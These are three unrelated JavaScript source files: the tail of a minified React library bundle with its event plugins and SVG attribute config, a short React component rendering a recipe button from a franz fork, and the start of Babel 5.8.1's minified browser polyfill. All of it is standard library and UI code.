t),n(),g.isBatchingUpdates?(m.push(e),void(t&&(e._pendingCallbacks?e._pendingCallbacks.push(t):e._pendingCallbacks=[t]))):void g.batchedUpdates(s,e,t)}function u(e,t){h(g.isBatchingUpdates),v.enqueue(e,t),y=!0}var c=e("./CallbackQueue"),l=e("./PooledClass"),p=(e("./ReactCurrentOwner"),e("./ReactPerf")),d=e("./Transaction"),f=e("./Object.assign"),h=e("./invariant"),m=(e("./warning"),[]),v=c.getPooled(),y=!1,g=null,E={initialize:function(){this.dirtyComponentsLength=m.length},close:function(){this.dirtyComponentsLength!==m.length?(m.splice(0,this.dirtyComponentsLength),M()):m.length=0}},C={initialize:function(){this.callbackQueue.reset()},close:function(){this.callbackQueue.notifyAll()}},R=[E,C];f(r.prototype,d.Mixin,{getTransactionWrappers:function(){return R},destructor:function(){this.dirtyComponentsLength=null,c.release(this.callbackQueue),this.callbackQueue=null,O.ReactReconcileTransaction.release(this.reconcileTransaction),this.reconcileTransaction=null},perform:function(e,t,n){return d.Mixin.perform.call(this,this.reconcileTransaction.perform,this.reconcileTransaction,e,t,n)}}),l.addPoolingTo(r);var M=p.measure("ReactUpdates","flushBatchedUpdates",function(){for(;m.length||y;){if(m.length){var e=r.getPooled();e.perform(a,null,e),r.release(e)}if(y){y=!1;var t=v;v=c.getPooled(),t.notifyAll(),c.release(t)}}}),b={injectReconcileTransaction:function(e){h(e),O.ReactReconcileTransaction=e},injectBatchingStrategy:function(e){h(e),h("function"==typeof e.batchedUpdates),h("boolean"==typeof e.isBatchingUpdates),g=e}},O={ReactReconcileTransaction:null,batchedUpdates:o,enqueueUpdate:s,flushBatchedUpdates:M,injection:b,asap:u};t.exports=O},{"./CallbackQueue":7,"./Object.assign":29,"./PooledClass":30,"./ReactCurrentOwner":42,"./ReactPerf":73,"./Transaction":104,"./invariant":137,"./warning":155}],89:[function(e,t){"use strict";var n=e("./DOMProperty"),r=n.injection.MUST_USE_ATTRIBUTE,o={Properties:{cx:r,cy:r,d:r,dx:r,dy:r,fill:r,fillOpacity:r,fontFamily:r,fontSize:r,fx:r,fy:r,gradientTransform:r,gradientUnits:r,markerEnd:r,markerMid:r,markerStart:r,offset:r,opacity:r,patternContentUnits:r,patternUnits:r,points:r,preserveAspectRatio:r,r:r,rx:r,ry:r,spreadMethod:r,stopColor:r,stopOpacity:r,stroke:r,strokeDasharray:r,strokeLinecap:r,strokeOpacity:r,strokeWidth:r,textAnchor:r,transform:r,version:r,viewBox:r,x1:r,x2:r,x:r,y1:r,y2:r,y:r},DOMAttributeNames:{fillOpacity:"fill-opacity",fontFamily:"font-family",fontSize:"font-size",gradientTransform:"gradientTransform",gradientUnits:"gradientUnits",markerEnd:"marker-end",markerMid:"marker-mid",markerStart:"marker-start",patternContentUnits:"patternContentUnits",patternUnits:"patternUnits",preserveAspectRatio:"preserveAspectRatio",spreadMethod:"spreadMethod",stopColor:"stop-color",stopOpacity:"stop-opacity",strokeDasharray:"stroke-dasharray",strokeLinecap:"stroke-linecap",strokeOpacity:"stroke-opacity",strokeWidth:"stroke-width",textAnchor:"text-anchor",viewBox:"viewBox"}};t.exports=o},{"./DOMProperty":12}],90:[function(e,t){"use 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o=e("./EventConstants"),i=e("./EventPropagators"),a=e("./ReactInputSelection"),s=e("./SyntheticEvent"),u=e("./getActiveElement"),c=e("./isTextInputElement"),l=e("./keyOf"),p=e("./shallowEqual"),d=o.topLevelTypes,f={select:{phasedRegistrationNames:{bubbled:l({onSelect:null}),captured:l({onSelectCapture:null})},dependencies:[d.topBlur,d.topContextMenu,d.topFocus,d.topKeyDown,d.topMouseDown,d.topMouseUp,d.topSelectionChange]}},h=null,m=null,v=null,y=!1,g={eventTypes:f,extractEvents:function(e,t,n,o){switch(e){case d.topFocus:(c(t)||"true"===t.contentEditable)&&(h=t,m=n,v=null);break;case d.topBlur:h=null,m=null,v=null;break;case d.topMouseDown:y=!0;break;case d.topContextMenu:case d.topMouseUp:return y=!1,r(o);case d.topSelectionChange:case d.topKeyDown:case d.topKeyUp:return r(o)}}};t.exports=g},{"./EventConstants":17,"./EventPropagators":22,"./ReactInputSelection":63,"./SyntheticEvent":96,"./getActiveElement":124,"./isTextInputElement":140,"./keyOf":144,"./shallowEqual":150}],91:[function(e,t){"use strict";var n=Math.pow(2,53),r={createReactRootIndex:function(){return Math.ceil(Math.random()*n)}};t.exports=r},{}],92:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./EventPluginUtils"),o=e("./EventPropagators"),i=e("./SyntheticClipboardEvent"),a=e("./SyntheticEvent"),s=e("./SyntheticFocusEvent"),u=e("./SyntheticKeyboardEvent"),c=e("./SyntheticMouseEvent"),l=e("./SyntheticDragEvent"),p=e("./SyntheticTouchEvent"),d=e("./SyntheticUIEvent"),f=e("./SyntheticWheelEvent"),h=e("./getEventCharCode"),m=e("./invariant"),v=e("./keyOf"),y=(e("./warning"),n.topLevelTypes),g={blur:{phasedRegistrationNames:{bubbled:v({onBlur:!0}),captured:v({onBlurCapture:!0})}},click:{phasedRegistrationNames:{bubbled:v({onClick:!0}),captured:v({onClickCapture:!0})}},contextMenu:{phasedRegistrationNames:{bubbled:v({onContextMenu:!0}),captured:v({onContextMenuCapture:!0})}},copy:{phasedRegistrationNames:{bubbled:v({onCopy:!0}),captured:v({onCopyCapture:!0})}},cut:{phasedRegistrationNames:{bubbled:v({onCut:!0}),captured:v({onCutCapture:!0})}},doubleClick:{phasedRegistrationNames:{bubbled:v({onDoubleClick:!0}),captured:v({onDoubleClickCapture:!0})}},drag:{phasedRegistrationNames:{bubbled:v({onDrag:!0}),captured:v({onDragCapture:!0})}},dragEnd:{phasedRegistrationNames:{bubbled:v({onDragEnd:!0}),captured:v({onDragEndCapture:!0})}},dragEnter:{phasedRegistrationNames:{bubbled:v({onDragEnter:!0}),captured:v({onDragEnterCapture:!0})}},dragExit:{phasedRegistrationNames:{bubbled:v({onDragExit:!0}),captured:v({onDragExitCapture:!0})}},dragLeave:{phasedRegistrationNames:{bubbled:v({onDragLeave:!0}),captured:v({onDragLeaveCapture:!0})}},dragOver:{phasedRegistrationNames:{bubbled:v({onDragOver:!0}),captured:v({onDragOverCapture:!0})}},dragStart:{phasedRegistrationNames:{bubbled:v({onDragStart:!0}),captured:v({onDragStartCapture:!0})}},drop:{phasedRegistrationNames:{bubbled:v({onDrop:!0}),captured:v({onDropCapture:!0})}},focus:{phasedRegistrationNames:{bubbled:v({onFocus:!0}),captured:v({onFocusCapture:!0})}},input:{phasedRegistrationNames:{bubbled:v({onInput:!0}),captured:v({onInputCapture:!0})}},keyDown:{phasedRegistrationNames:{bubbled:v({onKeyDown:!0}),captured:v({onKeyDownCapture:!0})}},keyPress:{phasedRegistrationNames:{bubbled:v({onKeyPress:!0}),captured:v({onKeyPressCapture:!0})}},keyUp:{phasedRegistrationNames:{bubbled:v({onKeyUp:!0}),captured:v({onKeyUpCapture:!0})}},load:{phasedRegistrationNames:{bubbled:v({onLoad:!0}),captured:v({onLoadCapture:!0})}},error:{phasedRegistrationNames:{bubbled:v({onError:!0}),captured:v({onErrorCapture:!0})}},mouseDown:{phasedRegistrationNames:{bubbled:v({onMouseDown:!0}),captured:v({onMouseDownCapture:!0})}},mouseMove:{phasedRegistrationNames:{bubbled:v({onMouseMove:!0}),captured:v({onMouseMoveCapture:!0})}},mouseOut:{phasedRegistrationNames:{bubbled:v({onMouseOut:!0}),captured:v({onMouseOutCapture:!0})}},mouseOver:{phasedRegistrationNames:{bubbled:v({onMouseOver:!0}),captured:v({onMouseOverCapture:!0})}},mouseUp:{phasedRegistrationNames:{bubbled:v({onMouseUp:!0}),captured:v({onMouseUpCapture:!0})}},paste:{phasedRegistrationNames:{bubbled:v({onPaste:!0}),captured:v({onPasteCapture:!0})}},reset:{phasedRegistrationNames:{bubbled:v({onReset:!0}),captured:v({onResetCapture:!0})}},scroll:{phasedRegistrationNames:{bubbled:v({onScroll:!0}),captured:v({onScrollCapture:!0})}},submit:{phasedRegistrationNames:{bubbled:v({onSubmit:!0}),captured:v({onSubmitCapture:!0})}},touchCancel:{phasedRegistrationNames:{bubbled:v({onTouchCancel:!0}),captured:v({onTouchCancelCapture:!0})}},touchEnd:{phasedRegistrationNames:{bubbled:v({onTouchEnd:!0}),captured:v({onTouchEndCapture:!0})}},touchMove:{phasedRegistrationNames:{bubbled:v({onTouchMove:!0}),captured:v({onTouchMoveCapture:!0})}},touchStart:{phasedRegistrationNames:{bubbled:v({onTouchStart:!0}),captured:v({onTouchStartCapture:!0})}},wheel:{phasedRegistrationNames:{bubbled:v({onWheel:!0}),captured:v({onWheelCapture:!0})}}},E={topBlur:g.blur,topClick:g.click,topContextMenu:g.contextMenu,topCopy:g.copy,topCut:g.cut,topDoubleClick:g.doubleClick,topDrag:g.drag,topDragEnd:g.dragEnd,topDragEnter:g.dragEnter,topDragExit:g.dragExit,topDragLeave:g.dragLeave,topDragOver:g.dragOver,topDragStart:g.dragStart,topDrop:g.drop,topError:g.error,topFocus:g.focus,topInput:g.input,topKeyDown:g.keyDown,topKeyPress:g.keyPress,topKeyUp:g.keyUp,topLoad:g.load,topMouseDown:g.mouseDown,topMouseMove:g.mouseMove,topMouseOut:g.mouseOut,topMouseOver:g.mouseOver,topMouseUp:g.mouseUp,topPaste:g.paste,topReset:g.reset,topScroll:g.scroll,topSubmit:g.submit,topTouchCancel:g.touchCancel,topTouchEnd:g.touchEnd,topTouchMove:g.touchMove,topTouchStart:g.touchStart,topWheel:g.wheel};for(var C in E)E[C].dependencies=[C];var R={eventTypes:g,executeDispatch:function(e,t,n){var o=r.executeDispatch(e,t,n);o===!1&&(e.stopPropagation(),e.preventDefault())},extractEvents:function(e,t,n,r){var v=E[e];if(!v)return null;var g;switch(e){case y.topInput:case y.topLoad:case y.topError:case y.topReset:case y.topSubmit:g=a;break;case y.topKeyPress:if(0===h(r))return null;case y.topKeyDown:case y.topKeyUp:g=u;break;case y.topBlur:case y.topFocus:g=s;break;case y.topClick:if(2===r.button)return null;case y.topContextMenu:case y.topDoubleClick:case y.topMouseDown:case y.topMouseMove:case y.topMouseOut:case y.topMouseOver:case y.topMouseUp:g=c;break;case y.topDrag:case y.topDragEnd:case y.topDragEnter:case y.topDragExit:case y.topDragLeave:case y.topDragOver:case y.topDragStart:case y.topDrop:g=l;break;case y.topTouchCancel:case y.topTouchEnd:case y.topTouchMove:case y.topTouchStart:g=p;break;case y.topScroll:g=d;break;case y.topWheel:g=f;break;case y.topCopy:case y.topCut:case y.topPaste:g=i}m(g);var C=g.getPooled(v,n,r);return o.accumulateTwoPhaseDispatches(C),C}};t.exports=R},{"./EventConstants":17,"./EventPluginUtils":21,"./EventPropagators":22,"./SyntheticClipboardEvent":93,"./SyntheticDragEvent":95,"./SyntheticEvent":96,"./SyntheticFocusEvent":97,"./SyntheticKeyboardEvent":99,"./SyntheticMouseEvent":100,"./SyntheticTouchEvent":101,"./SyntheticUIEvent":102,"./SyntheticWheelEvent":103,"./getEventCharCode":125,"./invariant":137,"./keyOf":144,"./warning":155}],93:[function(e,t){"use strict";function n(e,t,n){r.call(this,e,t,n)}var r=e("./SyntheticEvent"),o={clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}};r.augmentClass(n,o),t.exports=n},{"./SyntheticEvent":96}],94:[function(e,t){"use strict";function n(e,t,n){r.call(this,e,t,n)}var r=e("./SyntheticEvent"),o={data:null};r.augmentClass(n,o),t.exports=n},{"./SyntheticEvent":96}],95:[function(e,t){"use strict";function n(e,t,n){r.call(this,e,t,n)}var r=e("./SyntheticMouseEvent"),o={dataTransfer:null};r.augmentClass(n,o),t.exports=n},{"./SyntheticMouseEvent":100}],96:[function(e,t){"use strict";function n(e,t,n){this.dispatchConfig=e,this.dispatchMarker=t,this.nativeEvent=n;var r=this.constructor.Interface;for(var o in r)if(r.hasOwnProperty(o)){var a=r[o];this[o]=a?a(n):n[o]}var s=null!=n.defaultPrevented?n.defaultPrevented:n.returnValue===!1;this.isDefaultPrevented=s?i.thatReturnsTrue:i.thatReturnsFalse,this.isPropagationStopped=i.thatReturnsFalse}var r=e("./PooledClass"),o=e("./Object.assign"),i=e("./emptyFunction"),a=e("./getEventTarget"),s={type:null,target:a,currentTarget:i.thatReturnsNull,eventPhase:null,bubbles:null,cancelable:null,timeStamp:function(e){return e.timeStamp||Date.now()},defaultPrevented:null,isTrusted:null};o(n.prototype,{preventDefault:function(){this.defaultPrevented=!0;var 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i=e("./Object.assign"),a=e("./keyOf"),s=e("./invariant"),u=a({$push:null}),c=a({$unshift:null}),l=a({$splice:null}),p=a({$set:null}),d=a({$merge:null}),f=a({$apply:null}),h=[u,c,l,p,d,f],m={};h.forEach(function(e){m[e]=!0}),t.exports=o},{"./Object.assign":29,"./invariant":137,"./keyOf":144}],155:[function(e,t){"use strict";var n=e("./emptyFunction"),r=n;t.exports=r},{"./emptyFunction":118}]},{},[1])(1)});
|
src/components/settings/recipes/RecipeItem.js
|
GustavoKatel/franz
|
import React, { Component } from 'react';
import PropTypes from 'prop-types';
import { observer } from 'mobx-react';
import RecipePreviewModel from '../../../models/RecipePreview';
export default @observer class RecipeItem extends Component {
static propTypes = {
recipe: PropTypes.instanceOf(RecipePreviewModel).isRequired,
onClick: PropTypes.func.isRequired,
};
render() {
const { recipe, onClick } = this.props;
return (
<button
type="button"
className="recipe-teaser"
onClick={onClick}
>
{recipe.local && (
<span className="recipe-teaser__dev-badge">dev</span>
)}
<img
src={recipe.icons.svg}
className="recipe-teaser__icon"
alt=""
/>
<span className="recipe-teaser__label">{recipe.name}</span>
</button>
);
}
}
|
ajax/libs/babel-core/5.8.1/browser-polyfill.min.js
|
tonytomov/cdnjs
|
(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(require,module,exports){var process=module.exports={};var queue=[];var draining=false;function drainQueue(){if(draining){return}draining=true;var currentQueue;var len=queue.length;while(len){currentQueue=queue;queue=[];var i=-1;while(++i<len){currentQueue[i]()}len=queue.length}draining=false}process.nextTick=function(fun){queue.push(fun);if(!draining){setTimeout(drainQueue,0)}};process.title="browser";process.browser=true;process.env={};process.argv=[];process.version="";process.versions={};function noop(){}process.on=noop;process.addListener=noop;process.once=noop;process.off=noop;process.removeListener=noop;process.removeAllListeners=noop;process.emit=noop;process.binding=function(name){throw new Error("process.binding is not supported")};process.cwd=function(){return"/"};process.chdir=function(dir){throw new Error("process.chdir is not supported")};process.umask=function(){return 0}},{}],2:[function(require,module,exports){(function(global){"use strict";require("core-js/shim");require("regenerator/runtime");if(global._babelPolyfill){throw new Error("only one instance of babel/polyfill is allowed")}global._babelPolyfill=true}).call(this,typeof global!=="undefined"?global:typeof self!=="undefined"?self:typeof window!=="undefined"?window:{})},{"core-js/shim":91,"regenerator/runtime":92}],3:[function(require,module,exports){var $=require("./$");module.exports=function(IS_INCLUDES){return function($this,el,fromIndex){var O=$.toObject($this),length=$.toLength(O.length),index=$.toIndex(fromIndex,length),value;if(IS_INCLUDES&&el!=el)while(length>index){value=O[index++];if(value!=value)return true}else for(;length>index;index++)if(IS_INCLUDES||index in O){if(O[index]===el)return IS_INCLUDES||index}return!IS_INCLUDES&&-1}}},{"./$":24}],4:[function(require,module,exports){var $=require("./$"),ctx=require("./$.ctx");module.exports=function(TYPE){var IS_MAP=TYPE==1,IS_FILTER=TYPE==2,IS_SOME=TYPE==3,IS_EVERY=TYPE==4,IS_FIND_INDEX=TYPE==6,NO_HOLES=TYPE==5||IS_FIND_INDEX;return function($this,callbackfn,that){var O=Object($.assertDefined($this)),self=$.ES5Object(O),f=ctx(callbackfn,that,3),length=$.toLength(self.length),index=0,result=IS_MAP?Array(length):IS_FILTER?[]:undefined,val,res;for(;length>index;index++)if(NO_HOLES||index in self){val=self[index];res=f(val,index,O);if(TYPE){if(IS_MAP)result[index]=res;else if(res)switch(TYPE){case 3:return true;case 5:return val;case 6:return index;case 2:result.push(val)}else if(IS_EVERY)return false}}return IS_FIND_INDEX?-1:IS_SOME||IS_EVERY?IS_EVERY:result}}},{"./$":24,"./$.ctx":12}],5:[function(require,module,exports){var $=require("./$");function assert(condition,msg1,msg2){if(!condition)throw TypeError(msg2?msg1+msg2:msg1)}assert.def=$.assertDefined;assert.fn=function(it){if(!$.isFunction(it))throw TypeError(it+" is not a function!");return it};assert.obj=function(it){if(!$.isObject(it))throw TypeError(it+" is not an object!");return it};assert.inst=function(it,Constructor,name){if(!(it instanceof Constructor))throw TypeError(name+": use the 'new' operator!");return it};module.exports=assert},{"./$":24}],6:[function(require,module,exports){var $=require("./$"),enumKeys=require("./$.enum-keys");module.exports=Object.assign||function assign(target,source){var T=Object($.assertDefined(target)),l=arguments.length,i=1;while(l>i){var S=$.ES5Object(arguments[i++]),keys=enumKeys(S),length=keys.length,j=0,key;while(length>j)T[key=keys[j++]]=S[key]}return T}},{"./$":24,"./$.enum-keys":15}],7:[function(require,module,exports){var $=require("./$"),TAG=require("./$.wks")("toStringTag"),toString={}.toString;function cof(it){return toString.call(it).slice(8,-1)}cof.classof=function(it){var O,T;return it==undefined?it===undefined?"Undefined":"Null":typeof(T=(O=Object(it))[TAG])=="string"?T:cof(O)};cof.set=function(it,tag,stat){if(it&&!$.has(it=stat?it:it.prototype,TAG))$.hide(it,TAG,tag)};module.exports=cof},{"./$":24,"./$.wks":42}],8:[function(require,module,exports){"use strict";var $=require("./$"),ctx=require("./$.ctx"),safe=require("./$.uid").safe,assert=require("./$.assert"),forOf=require("./$.for-of"),step=require("./$.iter").step,$has=$.has,set=$.set,isObject=$.isObject,hide=$.hide,isExtensible=Object.isExtensible||isObject,ID=safe("id"),O1=safe("O1"),LAST=safe("last"),FIRST=safe("first"),ITER=safe("iter"),SIZE=$.DESC?safe("size"):"size",id=0;function fastKey(it,create){if(!isObject(it))return typeof it=="symbol"?it:(typeof it=="string"?"S":"P")+it;if(!$has(it,ID)){if(!isExtensible(it))return"F";if(!create)return"E";hide(it,ID,++id)}return"O"+it[ID]}function getEntry(that,key){var index=fastKey(key),entry;if(index!=="F")return that[O1][index];for(entry=that[FIRST];entry;entry=entry.n){if(entry.k==key)return entry}}module.exports={getConstructor:function(wrapper,NAME,IS_MAP,ADDER){var C=wrapper(function(that,iterable){assert.inst(that,C,NAME);set(that,O1,$.create(null));set(that,SIZE,0);set(that,LAST,undefined);set(that,FIRST,undefined);if(iterable!=undefined)forOf(iterable,IS_MAP,that[ADDER],that)});require("./$.mix")(C.prototype,{clear:function clear(){for(var that=this,data=that[O1],entry=that[FIRST];entry;entry=entry.n){entry.r=true;if(entry.p)entry.p=entry.p.n=undefined;delete data[entry.i]}that[FIRST]=that[LAST]=undefined;that[SIZE]=0},"delete":function(key){var that=this,entry=getEntry(that,key);if(entry){var next=entry.n,prev=entry.p;delete that[O1][entry.i];entry.r=true;if(prev)prev.n=next;if(next)next.p=prev;if(that[FIRST]==entry)that[FIRST]=next;if(that[LAST]==entry)that[LAST]=prev;that[SIZE]--}return!!entry},forEach:function forEach(callbackfn){var f=ctx(callbackfn,arguments[1],3),entry;while(entry=entry?entry.n:this[FIRST]){f(entry.v,entry.k,this);while(entry&&entry.r)entry=entry.p}},has:function has(key){return!!getEntry(this,key)}});if($.DESC)$.setDesc(C.prototype,"size",{get:function(){return assert.def(this[SIZE])}});return C},def:function(that,key,value){var entry=getEntry(that,key),prev,index;if(entry){entry.v=value}else{that[LAST]=entry={i:index=fastKey(key,true),k:key,v:value,p:prev=that[LAST],n:undefined,r:false};if(!that[FIRST])that[FIRST]=entry;if(prev)prev.n=entry;that[SIZE]++;if(index!=="F")that[O1][index]=entry}return that},getEntry:getEntry,setIter:function(C,NAME,IS_MAP){require("./$.iter-define")(C,NAME,function(iterated,kind){set(this,ITER,{o:iterated,k:kind})},function(){var iter=this[ITER],kind=iter.k,entry=iter.l;while(entry&&entry.r)entry=entry.p;if(!iter.o||!(iter.l=entry=entry?entry.n:iter.o[FIRST])){iter.o=undefined;return step(1)}if(kind=="keys")return step(0,entry.k);if(kind=="values")return step(0,entry.v);return step(0,[entry.k,entry.v])},IS_MAP?"entries":"values",!IS_MAP,true)}}},{"./$":24,"./$.assert":5,"./$.ctx":12,"./$.for-of":16,"./$.iter":23,"./$.iter-define":21,"./$.mix":26,"./$.uid":40}],9:[function(require,module,exports){var $def=require("./$.def"),forOf=require("./$.for-of");module.exports=function(NAME){$def($def.P,NAME,{toJSON:function toJSON(){var arr=[];forOf(this,false,arr.push,arr);return arr}})}},{"./$.def":13,"./$.for-of":16}],10:[function(require,module,exports){"use strict";var $=require("./$"),safe=require("./$.uid").safe,assert=require("./$.assert"),forOf=require("./$.for-of"),$has=$.has,isObject=$.isObject,hide=$.hide,isExtensible=Object.isExtensible||isObject,id=0,ID=safe("id"),WEAK=safe("weak"),LEAK=safe("leak"),method=require("./$.array-methods"),find=method(5),findIndex=method(6);function findFrozen(store,key){return find(store.array,function(it){return it[0]===key})}function leakStore(that){return that[LEAK]||hide(that,LEAK,{array:[],get:function(key){var entry=findFrozen(this,key);if(entry)return entry[1]},has:function(key){return!!findFrozen(this,key)},set:function(key,value){var entry=findFrozen(this,key);if(entry)entry[1]=value;else this.array.push([key,value])},"delete":function(key){var index=findIndex(this.array,function(it){return it[0]===key});if(~index)this.array.splice(index,1);return!!~index}})[LEAK]}module.exports={getConstructor:function(wrapper,NAME,IS_MAP,ADDER){var C=wrapper(function(that,iterable){$.set(assert.inst(that,C,NAME),ID,id++);if(iterable!=undefined)forOf(iterable,IS_MAP,that[ADDER],that)});require("./$.mix")(C.prototype,{"delete":function(key){if(!isObject(key))return false;if(!isExtensible(key))return leakStore(this)["delete"](key);return $has(key,WEAK)&&$has(key[WEAK],this[ID])&&delete key[WEAK][this[ID]]},has:function has(key){if(!isObject(key))return false;if(!isExtensible(key))return leakStore(this).has(key);return $has(key,WEAK)&&$has(key[WEAK],this[ID])}});return C},def:function(that,key,value){if(!isExtensible(assert.obj(key))){leakStore(that).set(key,value)}else{$has(key,WEAK)||hide(key,WEAK,{});key[WEAK][that[ID]]=value}return that},leakStore:leakStore,WEAK:WEAK,ID:ID}},{"./$":24,"./$.array-methods":4,"./$.assert":5,"./$.for-of":16,"./$.mix":26,"./$.uid":40}],11:[function(require,module,exports){"use strict";var $=require("./$"),$def=require("./$.def"),BUGGY=require("./$.iter").BUGGY,forOf=require("./$.for-of"),species=require("./$.species"),assertInstance=require("./$.assert").inst;module.exports=function(NAME,wrapper,methods,common,IS_MAP,IS_WEAK){var Base=$.g[NAME],C=Base,ADDER=IS_MAP?"set":"add",proto=C&&C.prototype,O={};function fixMethod(KEY){var fn=proto[KEY];require("./$.redef")(proto,KEY,KEY=="delete"?function(a){return fn.call(this,a===0?0:a)}:KEY=="has"?function has(a){return fn.call(this,a===0?0:a)}:KEY=="get"?function get(a){return fn.call(this,a===0?0:a)}:KEY=="add"?function add(a){fn.call(this,a===0?0:a);return this}:function set(a,b){fn.call(this,a===0?0:a,b);return this})}if(!$.isFunction(C)||!(IS_WEAK||!BUGGY&&proto.forEach&&proto.entries)){C=common.getConstructor(wrapper,NAME,IS_MAP,ADDER);require("./$.mix")(C.prototype,methods)}else{var inst=new C,chain=inst[ADDER](IS_WEAK?{}:-0,1),buggyZero;if(!require("./$.iter-detect")(function(iter){new C(iter)})){C=wrapper(function(target,iterable){assertInstance(target,C,NAME);var that=new Base;if(iterable!=undefined)forOf(iterable,IS_MAP,that[ADDER],that);return that});C.prototype=proto;proto.constructor=C}IS_WEAK||inst.forEach(function(val,key){buggyZero=1/key===-Infinity});if(buggyZero){fixMethod("delete");fixMethod("has");IS_MAP&&fixMethod("get")}if(buggyZero||chain!==inst)fixMethod(ADDER)}require("./$.cof").set(C,NAME);O[NAME]=C;$def($def.G+$def.W+$def.F*(C!=Base),O);species(C);species($.core[NAME]);if(!IS_WEAK)common.setIter(C,NAME,IS_MAP);return C}},{"./$":24,"./$.assert":5,"./$.cof":7,"./$.def":13,"./$.for-of":16,"./$.iter":23,"./$.iter-detect":22,"./$.mix":26,"./$.redef":29,"./$.species":34}],12:[function(require,module,exports){var assertFunction=require("./$.assert").fn;module.exports=function(fn,that,length){assertFunction(fn);if(~length&&that===undefined)return fn;switch(length){case 1:return function(a){return fn.call(that,a)};case 2:return function(a,b){return fn.call(that,a,b)};case 3:return function(a,b,c){return fn.call(that,a,b,c)}}return function(){return fn.apply(that,arguments)}}},{"./$.assert":5}],13:[function(require,module,exports){var $=require("./$"),global=$.g,core=$.core,isFunction=$.isFunction,$redef=require("./$.redef");function ctx(fn,that){return function(){return fn.apply(that,arguments)}}global.core=core;$def.F=1;$def.G=2;$def.S=4;$def.P=8;$def.B=16;$def.W=32;function $def(type,name,source){var key,own,out,exp,isGlobal=type&$def.G,isProto=type&$def.P,target=isGlobal?global:type&$def.S?global[name]:(global[name]||{}).prototype,exports=isGlobal?core:core[name]||(core[name]={});if(isGlobal)source=name;for(key in source){own=!(type&$def.F)&&target&&key in target;out=(own?target:source)[key];if(type&$def.B&&own)exp=ctx(out,global);else exp=isProto&&isFunction(out)?ctx(Function.call,out):out;if(target&&!own)$redef(target,key,out);if(exports[key]!=out)$.hide(exports,key,exp);if(isProto)(exports.prototype||(exports.prototype={}))[key]=out}}module.exports=$def},{"./$":24,"./$.redef":29}],14:[function(require,module,exports){var $=require("./$"),document=$.g.document,isObject=$.isObject,is=isObject(document)&&isObject(document.createElement);module.exports=function(it){return is?document.createElement(it):{}}},{"./$":24}],15:[function(require,module,exports){var $=require("./$");module.exports=function(it){var keys=$.getKeys(it),getDesc=$.getDesc,getSymbols=$.getSymbols;if(getSymbols)$.each.call(getSymbols(it),function(key){if(getDesc(it,key).enumerable)keys.push(key)});return keys}},{"./$":24}],16:[function(require,module,exports){var ctx=require("./$.ctx"),get=require("./$.iter").get,call=require("./$.iter-call");module.exports=function(iterable,entries,fn,that){var iterator=get(iterable),f=ctx(fn,that,entries?2:1),step;while(!(step=iterator.next()).done){if(call(iterator,f,step.value,entries)===false){return call.close(iterator)}}}},{"./$.ctx":12,"./$.iter":23,"./$.iter-call":20}],17:[function(require,module,exports){module.exports=function($){$.FW=true;$.path=$.g;return $}},{}],18:[function(require,module,exports){var $=require("./$"),toString={}.toString,getNames=$.getNames;var windowNames=typeof window=="object"&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];function getWindowNames(it){try{return getNames(it)}catch(e){return windowNames.slice()}}module.exports.get=function getOwnPropertyNames(it){if(windowNames&&toString.call(it)=="[object Window]")return getWindowNames(it);return getNames($.toObject(it))}},{"./$":24}],19:[function(require,module,exports){module.exports=function(fn,args,that){var un=that===undefined;switch(args.length){case 0:return un?fn():fn.call(that);case 1:return un?fn(args[0]):fn.call(that,args[0]);case 2:return un?fn(args[0],args[1]):fn.call(that,args[0],args[1]);case 3:return un?fn(args[0],args[1],args[2]):fn.call(that,args[0],args[1],args[2]);case 4:return un?fn(args[0],args[1],args[2],args[3]):fn.call(that,args[0],args[1],args[2],args[3]);case 5:return un?fn(args[0],args[1],args[2],args[3],args[4]):fn.call(that,args[0],args[1],args[2],args[3],args[4])}return fn.apply(that,args)}},{}],20:[function(require,module,exports){var assertObject=require("./$.assert").obj;function close(iterator){var ret=iterator["return"];if(ret!==undefined)assertObject(ret.call(iterator))}function call(iterator,fn,value,entries){try{return entries?fn(assertObject(value)[0],value[1]):fn(value)}catch(e){close(iterator);throw e}}call.close=close;module.exports=call},{"./$.assert":5}],21:[function(require,module,exports){var $def=require("./$.def"),$redef=require("./$.redef"),$=require("./$"),cof=require("./$.cof"),$iter=require("./$.iter"),SYMBOL_ITERATOR=require("./$.wks")("iterator"),FF_ITERATOR="@@iterator",KEYS="keys",VALUES="values",Iterators=$iter.Iterators;module.exports=function(Base,NAME,Constructor,next,DEFAULT,IS_SET,FORCE){$iter.create(Constructor,NAME,next);function createMethod(kind){function $$(that){return new Constructor(that,kind)}switch(kind){case KEYS:return function keys(){return $$(this)};case VALUES:return function values(){return $$(this)}}return function entries(){return $$(this)}}var TAG=NAME+" Iterator",proto=Base.prototype,_native=proto[SYMBOL_ITERATOR]||proto[FF_ITERATOR]||DEFAULT&&proto[DEFAULT],_default=_native||createMethod(DEFAULT),methods,key;if(_native){var IteratorPrototype=$.getProto(_default.call(new Base));cof.set(IteratorPrototype,TAG,true);if($.FW&&$.has(proto,FF_ITERATOR))$iter.set(IteratorPrototype,$.that)}if($.FW||FORCE)$iter.set(proto,_default);Iterators[NAME]=_default;Iterators[TAG]=$.that;if(DEFAULT){methods={keys:IS_SET?_default:createMethod(KEYS),values:DEFAULT==VALUES?_default:createMethod(VALUES),entries:DEFAULT!=VALUES?_default:createMethod("entries")};if(FORCE)for(key in methods){if(!(key in proto))$redef(proto,key,methods[key])}else $def($def.P+$def.F*$iter.BUGGY,NAME,methods)}}},{"./$":24,"./$.cof":7,"./$.def":13,"./$.iter":23,"./$.redef":29,"./$.wks":42}],22:[function(require,module,exports){var SYMBOL_ITERATOR=require("./$.wks")("iterator"),SAFE_CLOSING=false;try{var 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E=_propertyIsEnumerable.call(this,key);return E||!has(this,key)||!has(AllSymbols,key)||has(this,HIDDEN)&&this[HIDDEN][key]?E:true}function getOwnPropertyDescriptor(it,key){var 